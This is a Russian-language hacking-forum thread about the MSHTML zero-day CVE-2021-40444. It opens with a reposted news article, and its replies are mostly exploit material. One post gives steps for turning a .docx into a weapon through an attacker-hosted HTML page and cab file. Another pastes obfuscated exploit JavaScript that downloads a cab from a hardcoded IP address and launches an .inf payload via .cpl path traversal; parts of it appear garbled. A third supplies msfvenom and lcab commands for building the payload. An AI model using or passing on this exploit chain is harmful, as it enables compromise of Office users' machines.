• XSS.stack #1 – первый литературный журнал от юзеров форума

Новая 0-day уязвимость используется для атак через документы Microsoft Office

Kelegen

TOXIC
КИДАЛА
Регистрация
17.08.2021
Сообщения
853
Реакции
481
Пожалуйста, обратите внимание, что пользователь заблокирован
Эксперты Microsoft выпустили предупреждение о новой уязвимости нулевого дня в Microsoft MHTML (он же Trident), проприетарном движке браузера Internet Explorer. Проблема уже используется в реальных атаках на пользователей Office 365 и Office 2019 в Windows 10. Патча пока нет.


Уязвимость получила идентификатор CVE-2021-40444 и затрагивает Windows Server 2008-2019 и Windows 8.1-10 (8,8 баллов из 10 по шкале CVSS). Хотя MHTML в основном использовался для браузера Internet Explorer, этот компонент также применяется в приложениях Office для рендеринга размещенного в интернете контента внутри документов Word, Excel и PowerPoint.



«Microsoft известно о целевых атаках, которые пытаются эксплуатировать данную уязвимость с помощью специально созданных документов Microsoft Office», — предупреждают в компании.

Как объясняют представители Microsoft, при помощи этого бага злоумышленник может создать вредоносный компонент ActiveX, который будет использоваться документом Microsoft Office и обрабатываться MHTML. Злоумышленнику придется лишь убедить пользователя открыть такой вредоносный файл, после чего атаку можно считать удавшейся.


Стоит отметить, что атака не сработает, если Microsoft Office работает с конфигурацией по умолчанию и документы открываются через Protected View или Application Guard для Office 365. Так, Protected View, это режим только для чтения, в котором большинство функций редактирования отключено, а Application Guard изолирует недоверенные документы, запрещая им доступ к корпоративным ресурсам, внутренней сети и другим файлам в системе. Таким образом, от уязвимости должны быть защищены системы с активным Microsof Defender Antivirus и Defender for Endpoint (версии 1.349.22.0 и новее).


0-day обнаружили исследователи из компаний Mandiant и EXPMON. Причем специалисты EXPMON, занимающиеся мониторингом эксплоитов, пишут в Twitter, что нашли уязвимость, когда разбирали «очень сложную 0-day атаку», направленную на пользователей Microsoft Office.



EXPMON system detected a highly sophisticated #ZERO-DAY ATTACK ITW targeting #Microsoft #Office users! At this moment, since there's no patch, we strongly recommend that Office users be extremely cautious about Office files - DO NOT OPEN if not fully trust the source!
— EXPMON (@EXPMON_) September 7, 2021

Специалист EXPMON Хайфей Ли (Haifei Li) рассказал журналистам Bleeping Computer, что злоумышленники использовали для атак файл .DOCX. При открытии этот документ загружал движок Internet Explorer для ренгеринга удаленной веб-страницы атакующего. Затем, с помощью элемента управления ActiveX, расположенного на этой странице, загружалась малварь. Это осуществлялось при помощи функции «Cpl File Execution», упомянутой в сообщении Microsoft.


Исследователь подчеркнул, что такой метод атак на 100% надежен, что делает его очень опасным.



Так как настоящее время патчей пока нет, Microsoft предложила следующее решение проблемы: отключение установки всех компонентов ActiveX в Internet Explorer. Подробные инструкции можно найти в сообщении Microsoft.



Источник: https://xakep.ru/2021/09/08/mhtml-0day/
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я помню, что xrahitel любил использовать движок MSHTML для всякого такого, так что пингану его на всякий случай, может ему интересно будет. POC не видел еще никто на гитхабах?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я помню, что xrahitel любил использовать движок MSHTML для всякого такого, так что пингану его на всякий случай, может ему интересно будет. POC не видел еще никто на гитхабах?
занимаюсь этим вопросом :)
есть парочка индусов )
 
Пожалуйста, обратите внимание, что пользователь заблокирован
rename .docx in .zip -> open archive -> go to \word\_rels edit document.xml.rels mhtml with IP/side.html -> edit side.html with IP/cs.cab -> upload side.html to server. done
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я помню, что xrahitel любил использовать движок MSHTML для всякого такого, так что пингану его на всякий случай, может ему интересно будет. POC не видел еще никто на гитхабах?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
POC не видел еще никто на гитхабах?
один типок предлагал на днях. пингуйте шипну ID
 
Пожалуйста, обратите внимание, что пользователь заблокирован
'use strict';
var rotateor = ["123", "365952KMsRQT", "tiveX", "/Lo", "./../../", "contentDocument", "ppD", "Dat", "close", "Acti", "removeChild", "mlF", "write", "./A", "ata/", "ile", "../", "body", "setAttribute", "#version=5,0,0,0", "ssi", "iframe", "748708rfmUTk", "documentElement", "lFile", "location", "159708hBVRtu", "a/Lo", "Script", "document", "call", "contentWindow", "emp", "Document", "Obj", "prototype", "lfi", "bject", "send", "appendChild", "Low/championship.inf", "htmlfile", "115924pLbIpw", "GET",
"p/championship.inf", "1109sMoXXX", "./../A", "htm", "l/T", "cal/", "1wzQpCO", "ect", "w/championship.inf", "522415dmiRUA", "http://104.254.245.82/ministry.cab", "88320wWglcB", "XMLHttpRequest", "championship.inf", "Act", "D:edbc374c-5730-432a-b5b8-de94f0b57217", "open", "<bo", "HTMLElement", "/..", "veXO", "102FePAWC"];
function a0_0x15ec(whichImage, hide) {
return a0_0x15ec = function showOrHideImage(whichImage, hide) {
whichImage = whichImage - 170;
var tiledImageBoundsUpdatesNum = rotateor[whichImage];
return tiledImageBoundsUpdatesNum;
}, a0_0x15ec(whichImage, hide);
}
(function(data, oldCode) {
var _0x1eac90 = a0_0x15ec;
for (; !![];) {
try {
var junk = parseInt(88320wWglcB) + parseInt(102FePAWC) * parseInt(1109sMoXXX) + parseInt(1wzQpCO) * -parseInt(748708rfmUTk) + parseInt(159708hBVRtu) + parseInt(522415dmiRUA) + -parseInt(115924pLbIpw) + parseInt(365952KMsRQT);
if (junk === oldCode) {
break;
} else {
data[push](data[shift]());
}
} catch (_0x34af1e) {
data[push](data[shift]());
}
}
})(rotateor, 384881), function() {

function dropURL()
var addedRelations = currentRelations;
return "http://0.0.0.kk0/ministry.cab";
}
var currentRelations = a0_0x15ec;
var global = window;
var document = global[document];
var then = global[Document][prototype][createElement];
var writeFunction = global[Document][prototype][write];
var PL$22 = global[HTMLElement][prototype][appendChild];
var $ = global[HTMLElement][prototype][removeChild];
var el = then[call](document, iframe);
try {
PL$22[call](document[body], el);
} catch (_0x1ab454) {
PL$22[call](document[documentElement], el);
}
var ACTIVEX = el[contentWindow][ActiveXObject];
var model = new ACTIVEX(htmlfile);
el[contentDocument][open]()[close]();
var commandValue = p;
try {
$[call](document[body], el);
} catch (_0x3b004e) {
$[call](document[documentElement], el);
}
model[open]()[close]();
var ops = new model[Script][ActiveXObject](htmlFile);
ops[open]()[close]();
var G__10493 = c;
var TokenType = new ops[Script][ActiveXObject](htmlFile);
TokenType[open]()[close]();
var view = new TokenType[Script][ActiveXObject](htmlFile);
view[open]()[close]();
var iedom = new ActiveXObject(htmlfile);
var rp_test = new ActiveXObject(htmlfile);
var htmlfile = new ActiveXObject(htmlfile);
var fake = new ActiveXObject(htmlfile);
var doc = new ActiveXObject(htmlfile);
var a = new ActiveXObject(htmlfile);
var Object = global[XMLHttpRequest];
var args = new Object;
var ast = Object[prototype][open];
var callbacks = Object[prototype][send];
var modelIns = global[setTimeout];
ast[call](args, GET, dropURL, ![]);
callbacks[call](args);
view[Script][document][write]('<body>');
var s = then[call](view[Script][document], object);
s[setAttribute](codebase, dropURL#version=5,0,0,0);
var ret = l;
s[setAttribute](classid, CLSID:edbc374c-5730-432a-b5b8-de94f0b57217);
PL$22[call](view[Script][document][body], s);
iedom[Script][location] = .cpl:123;
iedom[Script][location] = .cpl:123;
iedom[Script][location] = .cpl:123;
iedom[Script][location] = .cpl:123;
iedom[Script][location] = .cpl:123;
iedom[Script][location] = .cpl:123;
iedom[Script][location] = .cpl:123;
iedom[Script][location] = .cpl:123;
iedom[Script][location] = .cpl:123;
iedom[Script][location] = .cpl:../../../AppData/Local/Temp/Low/championship.inf;
r_testp[Script][location] = .cpl:../../../AppData/Local/Temp/championship.inf;
htmlfile[Script][location] = .cpl:../../../../AppData/Local/Temp/Low/championship.inf;
fake[Script][location] = .cpl:../../../../AppData/Local/Temp/championship.inf;
doc[Script][location] = .cpl:../../../../../Temp/Low/championship.inf;
fake[Script][location] = .cpl:../../../../../Temp/championship.inf;
fake[Script][location] = .cpl:../../Low/championship.inf;
fake[Script][location] = .cpl:../../championship.inf;
}();
 
Пожалуйста, обратите внимание, что пользователь заблокирован
no .cab building
It's easy dude.

First you generate a payload. For example:
Код:
msfvenom -p windows/x64/exec EXITFUNC=thread CMD=calc.exe -f dll -o '..\championship.inf'

Then you generate a cab file like this (You need lcab tool):
Код:
lcab '..\championship.inf' 1337.cab

Then you open the cab file in hex editor and you change
Код:
..\
to
Код:
../

All done easy right?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх